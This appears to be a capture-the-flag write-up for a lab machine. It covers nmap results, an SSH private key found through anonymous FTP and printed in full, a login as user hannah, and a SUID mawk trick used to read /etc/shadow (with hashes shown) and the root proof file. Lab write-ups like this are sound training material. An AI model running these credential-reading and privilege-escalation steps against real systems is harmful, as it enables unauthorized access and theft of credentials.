General

IP == 192.168.105.130

PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.45.250
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)

61000/tcp open ssh syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 59:2d:21:0c:2f:af:9d:5a:7b:3e:a4:27:aa:37:89:08 (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQDiOZxbr74TmNuWOBDmPInK6nZnRGfOMtZMJDBErXIPCZR9kdZDqJbk-
dRlnP8QLGuTl/
t8qPgP863Rl1yfJLSv995PQ+oUZTSa21cGulVCtFFCKedJJJF9p2cAyYzjeA9qg1Ja7dOPtyPsSCplYzZcILwXZ52mg1k8V-
H2HUZ7DO0wMBYWONhkXWRR49gMN+IKge3DXNrfyHtnjMVWTwEtfqjFd+D70qi7UusZyfP2MogDX7LgRWC9R-
mvS6o8KxYW4psLWDB2dp/
Nf3FitenY0UMPKkHrxxjeqfYZhFwENmHAsxzrHJo1acSrNMUbTdWuLzcLHQgMIYMUlmGvDkg31c/
| 256 59:26:da:44:3b:97:d2:30:b1:9b:9b:02:74:8b:87:58 (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNXNPAPJkUYF4+uu955+0RpMZKriG9olCwt-
kPB3j5XbiiB+B7WEVv331ittcLxibSBWqV2OO328ThebB2YF9qvI=
| 256 8e:ad:10:4f:e3:3e:65:28:40:cb:5b:bf:1d:24:7f:17 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP5tk066endR9DMYxXzxhixx6c8cQ0HjGvYbtL8Lgv91
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

PORT 21(FTP)

21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.45.250
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300

| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)

Logged in and thru a hidden dir called ".hannah" I found a id_rsa file

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA1+dMq5Furk3CdxomSts5UsflONuLrAhtWzxvzmDk/fwk9ZZJMYSr
/B76klXVvqrJrZaSPuFhpRiuNr6VybSTrHB3Db7cbJvNrYiovyOOI92fsQ4EDQ1tssS0WR
6iOBdS9dndBF17vOqtHgJIIJPGgCsGpVKXkkMZUbDZDMibs4A26oXjdhjNs74npBq8gqvX
Y4RltqCayDQ67g3tLw8Gpe556tIxt1OlfNWp3mgCxVLE1/FE9S6JP+LeJtF6ctnzMIfdmd
GtlWLJdFmA4Rek1VxEEOskzP/jW9LXn2ebrRd3yG6SEO6o9+uUzLUr3tv9eLSR63Lkh1jz
n5GAP3ogHwAAA8hHmUHbR5lB2wAAAAdzc2gtcnNhAAABAQDX50yrkW6uTcJ3GiZK2zlSx+
U424usCG1bPG/OYOT9/CT1lkkxhKv8HvqSVdW+qsmtlpI+4WGlGK42vpXJtJOscHcNvtxs
m82tiKi/I44j3Z+xDgQNDW2yxLRZHqI4F1L12d0EXXu86q0eAkggk8aAKwalUpeSQxlRsN
kMyJuzgDbqheN2GM2zviekGryCq9djhGW2oJrINDruDe0vDwal7nnq0jG3U6V81aneaALF
UsTX8UT1Lok/4t4m0Xpy2fMwh92Z0a2VYsl0WYDhF6TVXEQQ6yTM/+Nb0tefZ5utF3fIbp
IQ7qj365TMtSve2/14tJHrcuSHWPOfkYA/eiAfAAAAAwEAAQAAAQEAmGDIvfYgtahv7Xtp
Nz/OD1zBrQVWaI5yEAhxqKi+NXu14ha1hdtrPr/mfU1TVARZ3sf8Y6DSN6FZo42TTg7Cgt
vFStA/5e94lFd1MaG4ehu6z01jEos9twQZfSSfvRLJHHctBB2ubUD7+cgGe+eQG3lCcX//
Nd1hi0RTjDAxo9c342/cLR/h3NzU53u7UZJ0U3JLgorUVyonN79zy1VzawL47DocD4DoWC
g8UNdChGGIicgM26OSp28naYNA/5gEEqVGyoh6kyU35qSSLvdGErTMZxVhIfWMVK0hEJGK
yyR15GMmBzDG1PWUqzgbgsJdsHuicEr8CCpaqTEBGpa28QAAAIAoQ2RvULGSqDDu2Salj/
RrfUui6lVd+yo+X7yS8gP6lxsM9in0vUCR3rC/i4yG0WhxsK3GuzfMMdJ82Qc2mQKuc05S
I96Ra9lQolZTZ8orWNkVWrlXF5uiQrbUJ/N5Fld1nvShgYIqSjBKVoFjO5PH4c5aspX5iv
td/kdikaEKmAAAAIEA8tWZGNKyc+pUslJ3nuiPNZzAZMgSp8ZL65TXx+2D1XxR+OnP2Bcd
aHsRkeLw4Mu1JYtk1uLHuQ2OUPm1IZT8XtqmuLo1XMKOC5tAxsj0IpgGPoJf8/2xUqz9tK
LOJK7HN+iwdohkkde9njtfl5Jotq4I5SqKTtIBrtaEjjKZCwUAAACBAOOb6qhGECMwVKCK
9izhqkaCr5j8gtHYBLkHG1Dot3cS4kYvoJ4Xd6AmGnQvB1Bm2PAIA+LurbXpmEp9sQ9+m8
Yy9ZpuPiSXuNdUknlGY6kl+ZY46aes/P5pa34Zk1jWOXw68q86tOUus0A1Gbk1wkaWddye
HvHD9hkCPIq7Sc/TAAAADXJvb3RAT2ZmU2hlbGwBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
```

Using this and suspecting that name "hannah" was a username I logged in to hannahs account using their ssh key

PORT 61000 (SSH)

HANNAH

Id_rsa ssh key

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA1+dMq5Furk3CdxomSts5UsflONuLrAhtWzxvzmDk/fwk9ZZJMYSr
/B76klXVvqrJrZaSPuFhpRiuNr6VybSTrHB3Db7cbJvNrYiovyOOI92fsQ4EDQ1tssS0WR
```

```
6iOBdS9dndBF17vOqtHgJIIJPGgCsGpVKXkkMZUbDZDMibs4A26oXjdhjNs74npBq8gqvX
Y4RltqCayDQ67g3tLw8Gpe556tIxt1OlfNWp3mgCxVLE1/FE9S6JP+LeJtF6ctnzMIfdmd
GtlWLJdFmA4Rek1VxEEOskzP/jW9LXn2ebrRd3yG6SEO6o9+uUzLUr3tv9eLSR63Lkh1jz
n5GAP3ogHwAAA8hHmUHbR5lB2wAAAAdzc2gtcnNhAAABAQDX50yrkW6uTcJ3GiZK2zlSx+
U424usCG1bPG/OYOT9/CT1lkkxhKv8HvqSVdW+qsmtlpI+4WGlGK42vpXJtJOscHcNvtxs
m82tiKi/I44j3Z+xDgQNDW2yxLRZHqI4F1L12d0EXXu86q0eAkggk8aAKwalUpeSQxlRsN
kMyJuzgDbqheN2GM2zviekGryCq9djhGW2oJrINDruDe0vDwal7nnq0jG3U6V81aneaALF
UsTX8UT1Lok/4t4m0Xpy2fMwh92Z0a2VYsl0WYDhF6TVXEQQ6yTM/+Nb0tefZ5utF3fIbp
IQ7qj365TMtSve2/14tJHrcuSHWPOfkYA/eiAfAAAAAwEAAQAAAQEAmGDIvfYgtahv7Xtp
Nz/OD1zBrQVWaI5yEAhxqKi+NXu14ha1hdtrPr/mfU1TVARZ3sf8Y6DSN6FZo42TTg7Cgt
vFStA/5e94lFd1MaG4ehu6z01jEos9twQZfSSfvRLJHHctBB2ubUD7+cgGe+eQG3lCcX//
Nd1hi0RTjDAxo9c342/cLR/h3NzU53u7UZJ0U3JLgorUVyonN79zy1VzawL47DocD4DoWC
g8UNdChGGIicgM26OSp28naYNA/5gEEqVGyoh6kyU35qSSLvdGErTMZxVhIfWMVK0hEJGK
yyR15GMmBzDG1PWUqzgbgsJdsHuicEr8CCpaqTEBGpa28QAAAIAoQ2RvULGSqDDu2Salj/
RrfUui6lVd+yo+X7yS8gP6lxsM9in0vUCR3rC/i4yG0WhxsK3GuzfMMdJ82Qc2mQKuc05S
I96Ra9lQolZTZ8orWNkVWrlXF5uiQrbUJ/N5Fld1nvShgYIqSjBKVoFjO5PH4c5aspX5iv
td/kdikaEKmAAAAIEA8tWZGNKyc+pUslJ3nuiPNZzAZMgSp8ZL65TXx+2D1XxR+OnP2Bcd
aHsRkeLw4Mu1JYtk1uLHuQ2OUPm1IZT8XtqmuLo1XMKOC5tAxsj0IpgGPoJf8/2xUqz9tK
LOJK7HN+iwdohkkde9njtfl5Jotq4I5SqKTtIBrtaEjjKZCwUAAACBAOOb6qhGECMwVKCK
9izhqkaCr5j8gtHYBLkHG1Dot3cS4kYvoJ4Xd6AmGnQvB1Bm2PAIA+LurbXpmEp9sQ9+m8
Yy9ZpuPiSXuNdUknlGY6kl+ZY46aes/P5pa34Zk1jWOXw68q86tOUus0A1Gbk1wkaWddye
HvHD9hkCPIq7Sc/TAAAADXJvb3RAT2ZmU2hlbGwBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
```

User information

```
hannah
uid=1000(hannah) gid=1000(hannah)
groups=1000(hannah),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
```

Hannahs home.

```
drwxr-xr-x 3 hannah hannah 4096 Jan 29  2021 .
drwxr-xr-x 3 root   root   4096 Aug  6  2020 ..
lrwxrwxrwx 1 root   root      9 Jan 21  2021 .bash_history -> /dev/null
-rw-r--r-- 1 hannah hannah  220 Aug  6  2020 .bash_logout
-rw-r--r-- 1 hannah hannah 3526 Aug  6  2020 .bashrc
-rw-r--r-- 1 hannah hannah   33 Feb 10 22:01 local.txt
-rw-r--r-- 1 hannah hannah  807 Aug  6  2020 .profile
drwxr-xr-x 2 root   root   4096 Aug  6  2020 .ssh
-rw-r--r-- 1 hannah hannah   32 Jan 29  2021 user.txt
hannah@ShellDredd:~$ ls -la .ssh/
total 16
drwxr-xr-x 2 root   root   4096 Aug  6  2020 .
drwxr-xr-x 3 hannah hannah 4096 Jan 29  2021 ..
-rw-r--r-- 1 root   root    395 Aug  6  2020 authorized_keys
-rw------- 1 root   root   1823 Aug  6  2020 id_rsa
```

Moving onto privesc

Nothing in tmp or opt

looking for suids

find / -perm -u=s -type f 2>/dev/null

/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/mawk
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/cpulimit
/usr/bin/mount
/usr/bin/passwd

found a suid exploit for mawk in gtfobins

```
sudo install -m =xs $(which mawk) .
LFILE=file_to_read
./mawk '//' "$LFILE"
```

maybe read roots ssh key? no roots ssh key is not in /root/.ssh/id_rsa so instead I oppend the shadow file

LFILE=/etc/shadow
/usr/bin/mawk '//' "$LFILE"

root:6pUGgTFAG7pM5Sy5M$SXmRNf2GSZhId7mGCsFwJ4UCweCXGKSMIO8/
qDM6NsiKckV8UZeZefDYw2CL2uAEwawIufKMv/e1Q6YDyTeqp0:18656:0:99999:7:::
daemon:*:18480:0:99999:7:::
bin:*:18480:0:99999:7:::
sys:*:18480:0:99999:7:::
sync:*:18480:0:99999:7:::
games:*:18480:0:99999:7:::
man:*:18480:0:99999:7:::
lp:*:18480:0:99999:7:::
mail:*:18480:0:99999:7:::
news:*:18480:0:99999:7:::
uucp:*:18480:0:99999:7:::
proxy:*:18480:0:99999:7:::
www-data:*:18480:0:99999:7:::
backup:*:18480:0:99999:7:::
list:*:18480:0:99999:7:::
irc:*:18480:0:99999:7:::
gnats:*:18480:0:99999:7:::
nobody:*:18480:0:99999:7:::
_apt:*:18480:0:99999:7:::
systemd-timesync:*:18480:0:99999:7:::
systemd-network:*:18480:0:99999:7:::
systemd-resolve:*:18480:0:99999:7:::
messagebus:*:18480:0:99999:7:::
avahi-autoipd:*:18480:0:99999:7:::
sshd:*:18480:0:99999:7:::
hannah:

6y8GL381zxgwD7gRr$AhERcqNym1qlATj9Rl6RmYXyLoxl2q1purtp9d.tpWEJTmYOUJORrve1ohmQjJtNRfzfvcZXy-zMLk89Ir/g5X.:18656:0:99999:7:::
systemd-coredump:!!:18480::::::
ftp:*:18480:0:99999:7:::

Using the same method I was able to open the proof.txt file in roots dir and get the root flag

LFILE=/root/proof.txt
/usr/bin/mawk '//' "$LFILE"